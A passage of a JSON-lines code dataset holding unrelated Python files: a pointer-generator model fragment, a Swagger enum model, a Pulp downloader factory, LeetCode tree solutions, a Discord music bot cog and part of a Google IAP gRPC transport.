len(samples) == 0: return 0, 0\n\n target_length = min(self.config['target_length'], max([len(pair.masked_target_tokens) for pair in samples]))\n nb_unks = max([len(s.unknown_tokens) for s in samples])\n input_variable, full_input_variable, target_variable, full_target_variable, decoder_input = \\\n utils.get_batch_variables(samples, self.config['input_length'], target_length, use_cuda,\n self.vocab.word2index['SOS'])\n\n encoder_hidden = self.encoder.init_hidden(len(samples), use_cuda)\n self.encoder_optimizer.zero_grad()\n self.decoder_optimizer.zero_grad()\n loss = 0\n\n encoder_outputs, encoder_hidden = self.encoder(input_variable, encoder_hidden)\n decoder_hidden = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1)\n decoder_hidden_states = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1).unsqueeze(1)\n previous_att = None\n\n for token_i in range(target_length):\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(decoder_input, decoder_hidden_states, decoder_hidden, encoder_outputs,\n full_input_variable, previous_att, nb_unks, use_cuda)\n\n if coverage_lambda < 0 or token_i == 0:\n loss += self.criterion(torch.log(p_final.clamp(min=1e-8)), full_target_variable.narrow(1, token_i, 1)\n .squeeze(-1))\n else:\n coverage = previous_att.narrow(1, 0, previous_att.size()[1]-1).sum(dim=1)\n coverage_min, _ = torch.cat((att_dist.unsqueeze(1), coverage.unsqueeze(1)), dim=1).min(dim=1)\n coverage_loss = coverage_min.sum(-1)\n loss += self.criterion(torch.log(p_final.clamp(min=1e-8)), full_target_variable.narrow(1, token_i, 1).squeeze(-1))\\\n + (coverage_lambda * coverage_loss) # this needs to be fixed\n\n if random.uniform(0, 1) < tf_ratio: decoder_input = target_variable.narrow(1, token_i, 1)\n else:\n _, max_tokens = p_final.max(1)\n for i in range(max_tokens.size()[0]):\n if max_tokens.data[i] >= self.vocab.vocab_size: max_tokens.data[i] = self.vocab.word2index['UNK']\n decoder_input = max_tokens.unsqueeze(1)\n\n if backprop:\n loss.backward()\n torch.nn.utils.clip_grad_norm(self.encoder.parameters(), 2)\n torch.nn.utils.clip_grad_norm(self.decoder.parameters(), 2)\n self.encoder_optimizer.step()\n self.decoder_optimizer.step()\n '''\n print(\" \", [[t for t in pair.full_target_tokens if t not in pair.full_source_tokens and t >= self.vocab.vocab_size]\n for pair in samples])\n '''\n return loss.data[0] / target_length, time.time() - start\n\n\n\n def predict(self, samples, target_length, beam_size, use_cuda): # this only works with one sample at a time\n nb_unks = max([len(s.unknown_tokens) for s in samples])\n input_variable, full_input_variable, target_variable, full_target_variable, decoder_input = \\\n utils.get_batch_variables(samples, self.config['input_length'], target_length, use_cuda,\n self.vocab.word2index['SOS'])\n encoder_hidden = self.encoder.init_hidden(len(samples), use_cuda)\n encoder_outputs, encoder_hidden = self.encoder(input_variable, encoder_hidden)\n decoder_hidden = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1)\n decoder_h_states = torch.cat((encoder_hidden[0], encoder_hidden[1]), -1).unsqueeze(1)\n previous_att = None\n\n if not beam_size:\n result = []\n for token_i in range(target_length):\n\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(decoder_input, decoder_h_states, decoder_hidden,\n encoder_outputs, full_input_variable, previous_att, nb_unks, use_cuda)\n\n p_vocab_word, vocab_word_idx = p_final.max(1)\n result.append([{'token_idx': vocab_word_idx.data[i],\n 'word': utils.translate_word(vocab_word_idx.data[i], samples[i], self.vocab),\n 'p_gen': round(p_gen.data[i][0], 3)}\n for i in range(len(samples))])\n _, max_tokens = p_final.max(1)\n for i in range(max_tokens.size()[0]):\n if max_tokens.data[i] >= self.vocab.vocab_size: max_tokens.data[i] = self.vocab.word2index['UNK']\n decoder_input = max_tokens.unsqueeze(1)\n\n return result\n else:\n search_complete = False\n top_beams = [Beam(decoder_input, decoder_h_states, decoder_hidden, previous_att, [], [])]\n\n while not search_complete:\n new_beams = []\n for beam in top_beams:\n if beam.complete: new_beams.append(beam)\n else:\n p_final, p_gen, p_vocab, att_dist, decoder_h_states, decoder_hidden, previous_att = \\\n self.decoder(beam.decoder_input, beam.decoder_h_states, beam.decoder_hidden,\n encoder_outputs, full_input_variable, beam.previous_att, nb_unks, use_cuda)\n for k in range(beam_size):\n p_vocab_word, vocab_word_idx = p_final.max(1)\n _, max_tokens = p_final.max(1)\n if max_tokens.data[0] >= self.vocab.vocab_size: max_tokens.data[0] = self.vocab.word2index['UNK']\n new_beams.append(Beam(max_tokens.unsqueeze(1),\n decoder_h_states, decoder_hidden, previous_att,\n beam.log_probs+[p_vocab_word.data[0]],\n beam.sequence + [vocab_word_idx.data[0]]))\n p_final[0, vocab_word_idx.data[0]] = 0\n\n if len(new_beams[-1].sequence) == target_length or vocab_word_idx.data[0] == self.vocab.word2index['EOS']:\n new_beams[-1].complete = True\n\n all_beams = sorted([(b, b.compute_score()) for b in new_beams], key=lambda tup: tup[1])\n if len(all_beams) > beam_size: all_beams = all_beams[:beam_size]\n top_beams = [beam[0] for beam in all_beams]\n\n if len([True for b in top_beams if b.complete]) == beam_size: search_complete = True\n\n return [[\" \".join([utils.translate_word(t, samples[0], self.vocab) for t in b.sequence]),\n b.compute_score()]\n for b in top_beams]\n\n\n\n","sub_path":"Experiments/17_feb_dmcnn_conv/PointerGenerator/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"390225412","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server import util\n\n\nclass DisputeType(Model):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n allowed enum values\n \"\"\"\n SERVICE_NOT_OFFERED_OR_PRODUCT_NOT_DELIVERED = \"service_not_offered_or_product_not_delivered\"\n RECURRING_TRANSACTION_CANCELLED = \"recurring_transaction_cancelled\"\n PRODUCT_DEFECTIVE_OR_DIFFERING_FROM_DESCRIPTION = \"product_defective_or_differing_from_description\"\n MULTIPLE_FRAUDULENT_TRANSACTIONS = \"multiple_fraudulent_transactions\"\n ILLEGIBLE_DOCUMENT = \"illegible_document\"\n CHIP_RESPONSABILITY_TRANSFERENCE = \"chip_responsability_transference\"\n AUTHORIZATION_DENIED = \"authorization_denied\"\n NO_AUTHORIZATION = \"no_authorization\"\n EXPIRED_CARD = \"expired_card\"\n LATE_PRESENTATION = \"late_presentation\"\n HOLDER_DOES_NO_RECALL_TRANSACTION = \"holder_does_no_recall_transaction\"\n NON_EXISTING_CARD_NUMBER = \"non_existing_card_number\"\n INCORRECT_TRANSACTION_VALUE = \"incorrect_transaction_value\"\n CARD_PRESENT_FRAUD = \"card_present_fraud\"\n DUPLICATED_PROCESSING = \"duplicated_processing\"\n CARD_NOT_PRESENT_FRAUD = \"card_not_present_fraud\"\n CREDIT_NOT_PROCESSED = \"credit_not_processed\"\n PAYMENT_BY_OTHER_MEANS = \"payment_by_other_means\"\n def __init__(self): # noqa: E501\n \"\"\"DisputeType - a model defined in Swagger\n\n \"\"\"\n self.swagger_types = {\n }\n\n self.attribute_map = {\n }\n\n @classmethod\n def from_dict(cls, dikt) -> 'DisputeType':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The DisputeType of this DisputeType. # noqa: E501\n :rtype: DisputeType\n \"\"\"\n return util.deserialize_model(dikt, cls)\n","sub_path":"swagger_server/models/dispute_type.py","file_name":"dispute_type.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"215148260","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2013 Red Hat, Inc.\n#\n# This software is licensed to you under the GNU General Public\n# License as published by the Free Software Foundation; either version\n# 2 of the License (GPLv2) or (at your option) any later version.\n# There is NO WARRANTY for this software, express or implied,\n# including the implied warranties of MERCHANTABILITY,\n# NON-INFRINGEMENT, or FITNESS FOR A PARTICULAR PURPOSE. You should\n# have received a copy of GPLv2 along with this software; if not, see\n# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.\n\n\"\"\"\nContains logic surrounding which nectar downloader implementation to use.\n\"\"\"\n\nimport urlparse\n\nfrom nectar.downloaders.curl import HTTPCurlDownloader\nfrom nectar.downloaders.threaded import HTTPThreadedDownloader\n\n\n# Mapping from scheme string to downloader class to instantiate\nSCHEME_DOWNLOADERS = {\n 'file' : HTTPCurlDownloader,\n 'http' : HTTPThreadedDownloader,\n 'https' : HTTPThreadedDownloader,\n}\n\n\ndef create_downloader(repo_url, nectar_config, event_listener):\n \"\"\"\n Returns an appropriate downloader instance for the given repository location.\n\n Note: In the future we may want to enhance this by passing in some sort of\n configuration that will let this method apply more than just protocol checking.\n\n :param repo_url: where the repository will be syncced from\n :type repo_url: str\n :param nectar_config: download config to be used by nectar\n :type nectar_config: nectar.config.DownloaderConfig\n :param event_listener: listener that will receive reports of download completion\n :type event_listener: nectar.listener.DownloadEventListener\n\n :return: a new nectar downloader instance\n :rtype: nectar.downloaders.base.Downloader\n \"\"\"\n parsed = urlparse.urlparse(repo_url)\n\n if parsed.scheme not in SCHEME_DOWNLOADERS:\n raise ValueError('Unsupported scheme: %s' % parsed.scheme)\n\n return SCHEME_DOWNLOADERS[parsed.scheme](nectar_config, event_listener=event_listener)\n\n","sub_path":"plugins/pulp_rpm/plugins/importers/yum/repomd/nectar_factory.py","file_name":"nectar_factory.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"526361913","text":"# Definition for binary tree with next pointer.\r\n# class TreeLinkNode(object):\r\n# def __init__(self, x):\r\n# self.val = x\r\n# self.left = None\r\n# self.right = None\r\n# self.next = None\r\n\r\n\"\"\"\r\nThough it's AC, it doesn't satisfy the requirement \"You may only use constant extra space\".\r\n\"\"\"\r\nclass Solution(object):\r\n def connect(self, root):\r\n \"\"\"\r\n :type root: TreeLinkNode\r\n :rtype: nothing\r\n \"\"\"\r\n if root is None or (root.left is None and root.right is None):\r\n return\r\n root.left.next = root.right\r\n if root.next is not None:\r\n root.right.next = root.next.left\r\n self.connect(root.left)\r\n self.connect(root.right)\r\n \r\n \r\n#############################################################\r\n\"\"\"\r\nhttps://leetcode.com/discuss/7327/a-simple-accepted-solution\r\nIteration and just O(1) space.\r\n\"\"\"\r\nclass Solution(object):\r\n def connect(self, root):\r\n pre, cur = root, None\r\n while pre and pre.left:\r\n cur = pre\r\n while cur:\r\n cur.left.next = cur.right\r\n if cur.next:\r\n cur.right.next = cur.next.left\r\n cur = cur.next\r\n pre = pre.left","sub_path":"src/116_PopulatingNextRightPointersInEachNode.py","file_name":"116_PopulatingNextRightPointersInEachNode.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"36373413","text":"import asyncio\nimport discord\nimport ipaddress\nimport logging\nimport math\nimport socket\nimport typing\nimport wavelink\nfrom .player import HouraiMusicPlayer, Unauthorized\nfrom .utils import time_format\nfrom discord.ext import commands\nfrom hourai.bot import CogLoadError\nfrom hourai.cogs import BaseCog\nfrom hourai.db import proto\nfrom hourai.utils import format, is_moderator\n\n\nlog = logging.getLogger('hourai.music')\n\n\ndef clamp(val, min_val, max_val):\n return max(min(val, max_val), min_val)\n\n\nasync def get_music_config(ctx):\n \"\"\"Gets the corresponding guild config. If none is in storage, the default\n config is returned.\n \"\"\"\n config = await ctx.bot.storage.music_configs.get(ctx.guild.id)\n return config or proto.MusicConfig()\n\n\nasync def get_dj_roles(ctx):\n \"\"\"Gets the corresponding DJ role for a guild. Returns none if the role is\n not found or if no role has been configured.\n \"\"\"\n music_config = await get_music_config(ctx)\n roles = [ctx.guild.get_role(role_id)\n for role_id in music_config.dj_role_id]\n return set(role for role in roles if role is not None)\n\n\nasync def is_dj(ctx, member=None):\n \"\"\" Checks if the user is a DJ or not. \"\"\"\n if member is None:\n member = ctx.author\n dj_roles = await get_dj_roles(ctx)\n if len(dj_roles) <= 0:\n return is_moderator(member)\n member_roles = set(member.roles)\n return len(dj_roles.intersection(member_roles)) > 0\n\n\ndef get_default_channel(guild, member=None):\n channels = filter(lambda ch: ch.permissions_for(guild.me).connect,\n guild.voice_channels)\n if member is not None:\n channels = filter(lambda ch: member in ch.members, channels)\n return next(channels, None)\n\n\nasync def get_voice_channel(ctx):\n music_config = await get_music_config(ctx)\n channel = None\n if music_config.HasField('voice_channel_id'):\n channel = ctx.guild.get_channel(music_config.voice_channel_id)\n if isinstance(channel, discord.VoiceChannel):\n channel = None\n return channel or get_default_channel(ctx.guild, ctx.author)\n\n\nclass Music(BaseCog):\n\n def __init__(self, bot):\n self.bot = bot\n self.config = None\n\n if not hasattr(bot, 'wavelink'):\n self.bot.wavelink = wavelink.Client(self.bot)\n\n self.bot.loop.create_task(self.start_nodes())\n\n async def start_nodes(self):\n await self.bot.wait_until_ready()\n\n self.config = self.bot.get_config_value('music')\n if self.config is None:\n self.bot.remove_cog(self)\n raise CogLoadError(\"Config option 'music' not found.\")\n\n async def initialize_node(node_cfg):\n # Wavelink currently throws errors when provided with non IP hosts.\n # Workaround: convert host to an IP.\n args = node_cfg._asdict()\n try:\n ipaddress.ip_address(node_cfg.host)\n except ValueError:\n args['host'] = socket.gethostbyname(node_cfg.host)\n\n # Initiate our nodes. For now only using one\n await self.bot.wavelink.initiate_node(**args)\n\n nodes = self.bot.get_config_value('music.nodes', default=(),\n type=tuple)\n await asyncio.gather(*[initialize_node(node_cfg)\n for node_cfg in nodes])\n\n def get_player(self, guild):\n return self.bot.wavelink.get_player(guild.id, cls=HouraiMusicPlayer)\n\n async def cog_check(self, ctx):\n if ctx.guild is None:\n return False\n music_config = await get_music_config(ctx)\n if music_config is None:\n return True\n # If a specific text channel is required\n if (len(music_config.text_channel_id) <= 0 or\n ctx.channel.id in music_config.text_channel_id):\n return True\n return False\n\n @commands.Cog.listener()\n async def on_voice_state_change(self, member, before, after):\n guild = member.guild\n player = self.get_player(guild)\n if not player.is_connected or member == guild.me:\n return\n\n # Kill the player when nobody else is in any voice channel in the guild\n def is_empty(voice_channel):\n members = set(voice_channel.members)\n members.remove(guild.me)\n return len(members) <= 0\n if all(is_empty(vc) for vc in guild.voice_channels):\n await player.stop()\n\n # Remove skip votes from those who leave\n channel = player.channel\n if (channel is not None and\n channel == before.channel and channel != after.channel):\n player.clear_vote(member)\n\n @staticmethod\n async def connect_player(ctx, player):\n channel = await get_voice_channel(ctx)\n msg = None\n if channel is None:\n msg = 'No suitable channel for playing music found.'\n elif ctx.author not in channel.members:\n msg = f'You must be in `{channel.name}` to play music.'\n await (ctx.send(msg) if msg is not None else\n player.connect(channel.id))\n return msg is None\n\n @commands.command()\n @commands.is_owner()\n async def connect_(self, ctx):\n player = self.get_player(ctx.guild)\n channel = await get_voice_channel(ctx)\n if channel is None:\n await ctx.send('No suitable channel for playing music found.')\n return False\n await player.connect(channel.id)\n\n @commands.command()\n @commands.is_owner()\n async def disconnect_(self, ctx):\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await player.disconnect()\n\n @staticmethod\n def is_empty_response(load_response):\n if load_response is None:\n return True\n if isinstance(load_response, list) and len(load_response) <= 0:\n return True\n if (isinstance(load_response, wavelink.TrackPlaylist) and\n len(load_response.tracks) <= 0):\n return True\n return False\n\n @commands.command(name='play')\n async def play(self, ctx, *, query: str = ''):\n \"\"\"Adds a song to the queue.\n\n Caller must be in a valid voice channel.\n If the music player is paused, calling it without arguments will\n unpause the player.\n\n Examples:\n ~play\n ~play despacito\n ~play https://www.youtube.com/watch?v=kJQP7kiw5Fk\n ~play https://www.youtube.com/playlist?list=PLNCRTSKrIMvuoD5D1FIR5kJ1jhwVVU5Ka\n ~play https://soundcloud.com/kungfu-cthulhu/gabenhardstyle\n \"\"\"\n player = self.get_player(ctx.guild)\n if not query:\n await self._play_paused(ctx, player)\n return\n\n if (player.voice_channel is not None and\n ctx.author not in player.voice_channel.members):\n channel_name = player.voice_channel.name\n await ctx.send(\n content=f'You must be in `{channel_name}` to play music.')\n return\n\n msg = await ctx.send(r'**\\*\\*Loading...\\*\\***')\n for attempt in (query, f'ytsearch:{query}', f'scsearch:{query}'):\n result = await ctx.bot.wavelink.get_tracks(attempt)\n if not Music.is_empty_response(result):\n break\n if Music.is_empty_response(result):\n await msg.edit(content=f':bulb: No results found for `{query}`.')\n\n if not player.is_connected:\n if (not await Music.connect_player(ctx, player)):\n return\n\n if isinstance(result, list):\n assert len(result) > 0\n track = result[0]\n await player.enqueue(ctx.author, track)\n await msg.edit(content=f':notes: Added `{track.title}` '\n f'({time_format(track.duration)}) to the '\n f'queue.')\n elif isinstance(result, wavelink.TrackPlaylist):\n assert len(result.tracks) > 0\n # Add all tracks to the queue\n total_duration = 0\n for track in result.tracks:\n await player.enqueue(ctx.author, track)\n total_duration += track.duration\n count = len(result.tracks)\n total_duration = time_format(total_duration)\n await msg.edit(content=f':notes: Added **{count}** tracks'\n f'({total_duration}) to the queue.')\n else:\n await msg.edit(content=':x: Something went wrong!')\n\n async def _play_paused(self, ctx, player):\n if not player.is_connected or not player.paused:\n await ctx.send('Something needs to be specified to play.')\n return\n if is_dj(ctx):\n await player.set_pause(False)\n await ctx.send(f'Resumed {format.bold(player.current.name)}.')\n else:\n await ctx.send(f'Only a DJ can resume a track.')\n\n @commands.command()\n @commands.check(is_dj)\n async def pause(self, ctx):\n \"\"\"Pauses the current track in the music player.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.set_pause(True)\n await ctx.send(f'Paused {format.bold(str(player.current))}.')\n\n @commands.command()\n async def stop(self, ctx):\n \"\"\"Clears the queue and stops the bot.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.stop()\n await ctx.send(':notes: The player has stopped and the queue has been '\n 'cleared.')\n\n @commands.command()\n async def remove(self, ctx, target: int):\n \"\"\"Removes a item from the queue by it's place in it.\n\n Caller must either be a DJ (defaults to moderator roles) or be the user\n who requested the track. Must also be in the same voice channel as the\n bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n try:\n _, track = player.remove_entry(ctx.author, target - 1)\n await ctx.send(f\"Removed **{track.title}** from the queue.\")\n except Unauthorized:\n await ctx.send(f\"You didn't request that track!\")\n except IndexError:\n await ctx.send(f\"There is no track at place: {target}\")\n\n @commands.command()\n async def removeall(self, ctx):\n \"\"\"Removes all of the caller's songs from the queue.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n count = player.clear_user(ctx.author)\n if count <= 0:\n await ctx.send(\"You dont' have any songs queued.\")\n else:\n await ctx.send(f'Removed {count} songs from the queue.')\n\n @commands.command()\n async def queue(self, ctx):\n \"\"\"Shows what is in the queue and who requested each track.\"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.create_queue_message(ctx.channel)\n\n @commands.command(aliases=['np'])\n async def nowplaying(self, ctx):\n \"\"\"Shows what's currently playing in the music player.\"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n await player.create_now_playing_message(ctx.channel)\n\n @commands.command()\n async def skip(self, ctx):\n \"\"\"Votes to skip the current song in the player.\n\n Skips the song if the votes exceed 50% of the users in voice chat.\n If the requestor skips, it automatically skips the current song.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n if ctx.author.id in player.skip_votes:\n await ctx.send(\"You've already voted to skip this song!\")\n return\n\n assert player.current is not None\n\n track = player.current\n requestor = player.current_requestor\n assert requestor is not None\n\n channel_count = len([m for m in player.voice_channel_members\n if m != ctx.guild.me])\n vote_count = len(player.skip_votes) + 1\n\n required_votes = math.ceil(channel_count * 0.5)\n skipped = player.vote_to_skip(ctx.author, required_votes)\n\n response = (f':notes: You voted to skip the song. `{vote_count} votes,'\n f' {required_votes}/{channel_count} needed.`')\n if skipped:\n response += (f'\\n:notes: Skipped **{track.title}** (requested by '\n f'**{requestor.name}**)')\n await ctx.send(response)\n\n @commands.command()\n async def shuffle(self, ctx):\n \"\"\"Shuffles the songs the caller has queued.\n\n Must be in the same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n count = player.shuffle_user(ctx.author)\n if count == 0:\n msg = \"You don't have any music in the queue!\"\n else:\n msg = f\":notes: Shuffled your {count} tracks in the queue!\"\n await ctx.send(msg)\n\n @commands.command()\n @commands.check(is_dj)\n async def forceskip(self, ctx):\n \"\"\"Forcibly skips the current song in the music player.\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n\n track = player.current\n requestor = player.current_requestor\n assert requestor is not None\n\n player.play_next(skip=True)\n await ctx.send(f':notes: Skipped **{track.title}** (requested by '\n f'**{requestor.name}**)')\n\n @commands.command()\n async def volume(self, ctx, volume: typing.Optional[int] = None):\n \"\"\"Checks or sets the music volume in the bot. Range: 0-150.\n\n Example:\n ~volume\n ~volume 40\n\n Caller must be a DJ (defaults to moderator roles), and must be in the\n same voice channel as the bot.\n \"\"\"\n player = self.get_player(ctx.guild)\n if not player.is_connected:\n await ctx.send('There is currently no music playing.')\n return\n\n old_volume = player.volume\n if volume is None:\n await ctx.send(f':sound: Current volume is `{old_volume}`')\n return\n if not (await is_dj(ctx)):\n await ctx.send('Must be a DJ to change the volume.')\n return\n\n volume = clamp(volume, 0, 150)\n await player.set_volume(volume)\n\n await ctx.send(f':sound: Volume changed from `{old_volume}` to '\n f'`{volume}`')\n\n\ndef setup(bot):\n bot.add_cog(Music(bot))\n","sub_path":"hourai/extensions/music/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"582627365","text":"# -*- coding: utf-8 -*-\n# Copyright 2023 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nfrom typing import Awaitable, Callable, Dict, Optional, Sequence, Tuple, Union\nimport warnings\n\nfrom google.api_core import gapic_v1, grpc_helpers_async\nfrom google.auth import credentials as ga_credentials # type: ignore\nfrom google.auth.transport.grpc import SslCredentials # type: ignore\nfrom google.protobuf import empty_pb2 # type: ignore\nimport grpc # type: ignore\nfrom grpc.experimental import aio # type: ignore\n\nfrom google.cloud.iap_v1.types import service\n\nfrom .base import DEFAULT_CLIENT_INFO, IdentityAwareProxyOAuthServiceTransport\nfrom .grpc import IdentityAwareProxyOAuthServiceGrpcTransport\n\n\nclass IdentityAwareProxyOAuthServiceGrpcAsyncIOTransport(\n IdentityAwareProxyOAuthServiceTransport\n):\n \"\"\"gRPC AsyncIO backend transport for IdentityAwareProxyOAuthService.\n\n API to programmatically create, list and retrieve Identity\n Aware Proxy (IAP) OAuth brands; and create, retrieve, delete and\n reset-secret of IAP OAuth clients.\n\n This class defines the same methods as the primary client, so the\n primary client can load the underlying transport implementation\n and call it.\n\n It sends protocol buffers over the wire using gRPC (which is built on\n top of HTTP/2); the ``grpcio`` package must be installed.\n \"\"\"\n\n _grpc_channel: aio.Channel\n _stubs: Dict[str, Callable] = {}\n\n @classmethod\n def create_channel(\n cls,\n host: str = \"iap.googleapis.com\",\n credentials: Optional[ga_credentials.Credentials] = None,\n credentials_file: Optional[str] = None,\n scopes: Optional[Sequence[str]] = None,\n quota_project_id: Optional[str] = None,\n **kwargs,\n ) -> aio.Channel:\n \"\"\"Create and return a gRPC AsyncIO channel object.\n Args:\n host (Optional[str]): The host for the channel to use.\n credentials (Optional[~.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify this application to the service. If\n none are specified, the client will attempt to ascertain\n the credentials from the environment.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional[Sequence[str]]): A optional list of scopes needed for this\n service. These are only used when credentials are not specified and\n are passed to :func:`google.auth.default`.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n kwargs (Optional[dict]): Keyword arguments, which are passed to the\n channel creation.\n Returns:\n aio.Channel: A gRPC AsyncIO channel object.\n \"\"\"\n\n return grpc_helpers_async.create_channel(\n host,\n credentials=credentials,\n credentials_file=credentials_file,\n quota_project_id=quota_project_id,\n default_scopes=cls.AUTH_SCOPES,\n scopes=scopes,\n default_host=cls.DEFAULT_HOST,\n **kwargs,\n )\n\n def __init__(\n self,\n *,\n host: str = \"iap.googleapis.com\",\n credentials: Optional[ga_credentials.Credentials] = None,\n credentials_file: Optional[str] = None,\n scopes: Optional[Sequence[str]] = None,\n channel: Optional[aio.Channel] = None,\n api_mtls_endpoint: Optional[str] = None,\n client_cert_source: Optional[Callable[[], Tuple[bytes, bytes]]] = None,\n ssl_channel_credentials: Optional[grpc.ChannelCredentials] = None,\n client_cert_source_for_mtls: Optional[Callable[[], Tuple[bytes, bytes]]] = None,\n quota_project_id: Optional[str] = None,\n client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO,\n always_use_jwt_access: Optional[bool] = False,\n api_audience: Optional[str] = None,\n ) -> None:\n \"\"\"Instantiate the transport.\n\n Args:\n host (Optional[str]):\n The hostname to connect to.\n credentials (Optional[google.auth.credentials.Credentials]): The\n authorization credentials to attach to requests. These\n credentials identify the application to the service; if none\n are specified, the client will attempt to ascertain the\n credentials from the environment.\n This argument is ignored if ``channel`` is provided.\n credentials_file (Optional[str]): A file with credentials that can\n be loaded with :func:`google.auth.load_credentials_from_file`.\n This argument is ignored if ``channel`` is provided.\n scopes (Optional[Sequence[str]]): A optional list of scopes needed for this\n service. These are only used when credentials are not specified and\n are passed to :func:`google.auth.default`.\n channel (Optional[aio.Channel]): A ``Channel`` instance through\n which to make calls.\n api_mtls_endpoint (Optional[str]): Deprecated. The mutual TLS endpoint.\n If provided, it overrides the ``host`` argument and tries to create\n a mutual TLS channel with client SSL credentials from\n ``client_cert_source`` or application default SSL credentials.\n client_cert_source (Optional[Callable[[], Tuple[bytes, bytes]]]):\n Deprecated. A callback to provide client SSL certificate bytes and\n private key bytes, both in PEM format. It is ignored if\n ``api_mtls_endpoint`` is None.\n ssl_channel_credentials (grpc.ChannelCredentials): SSL credentials\n for the grpc channel. It is ignored if ``channel`` is provided.\n client_cert_source_for_mtls (Optional[Callable[[], Tuple[bytes, bytes]]]):\n A callback to provide client certificate bytes and private key bytes,\n both in PEM format. It is used to configure a mutual TLS channel. It is\n ignored if ``channel`` or ``ssl_channel_credentials`` is provided.\n quota_project_id (Optional[str]): An optional project to use for billing\n and quota.\n client_info (google.api_core.gapic_v1.client_info.ClientInfo):\n The client info used to send a user-agent string along with\n API requests. If ``None``, then default info will be used.\n Generally, you only need to set this if you're developing\n your own client library.\n always_use_jwt_access (Optional[bool]): Whether self signed JWT should\n be used for service account credentials.\n\n Raises:\n google.auth.exceptions.MutualTlsChannelError: If mutual TLS transport\n creation failed for any reason.\n google.api_core.exceptions.DuplicateCredentialArgs: If both ``credentials``\n and ``credentials_file`` are passed.\n \"\"\"\n self._grpc_channel = None\n self._ssl_channel_credentials = ssl_channel_credentials\n self._stubs: Dict[str, Callable] = {}\n\n if api_mtls_endpoint:\n warnings.warn(\"api_mtls_endpoint is deprecated\", DeprecationWarning)\n if client_cert_source:\n warnings.warn(\"client_cert_source is deprecated\", DeprecationWarning)\n\n if channel:\n # Ignore credentials if a channel was passed.\n credentials = False\n # If a channel was explicitly provided, set it.\n self._grpc_channel = channel\n self._ssl_channel_credentials = None\n else:\n if api_mtls_endpoint:\n host = api_mtls_endpoint\n\n # Create SSL credentials with client_cert_source or application\n # default SSL credentials.\n if client_cert_source:\n cert, key = client_cert_source()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n else:\n self._ssl_channel_credentials = SslCredentials().ssl_credentials\n\n else:\n if client_cert_source_for_mtls and not ssl_channel_credentials:\n cert, key = client_cert_source_for_mtls()\n self._ssl_channel_credentials = grpc.ssl_channel_credentials(\n certificate_chain=cert, private_key=key\n )\n\n # The base transport sets the host, credentials and scopes\n super().__init__(\n host=host,\n credentials=credentials,\n credentials_file=credentials_file,\n scopes=scopes,\n quota_project_id=quota_project_id,\n client_info=client_info,\n always_use_jwt_access=always_use_jwt_access,\n api_audience=api_audience,\n )\n\n if not self._grpc_channel:\n self._grpc_channel = type(self).create_channel(\n self._host,\n # use the credentials which are saved\n 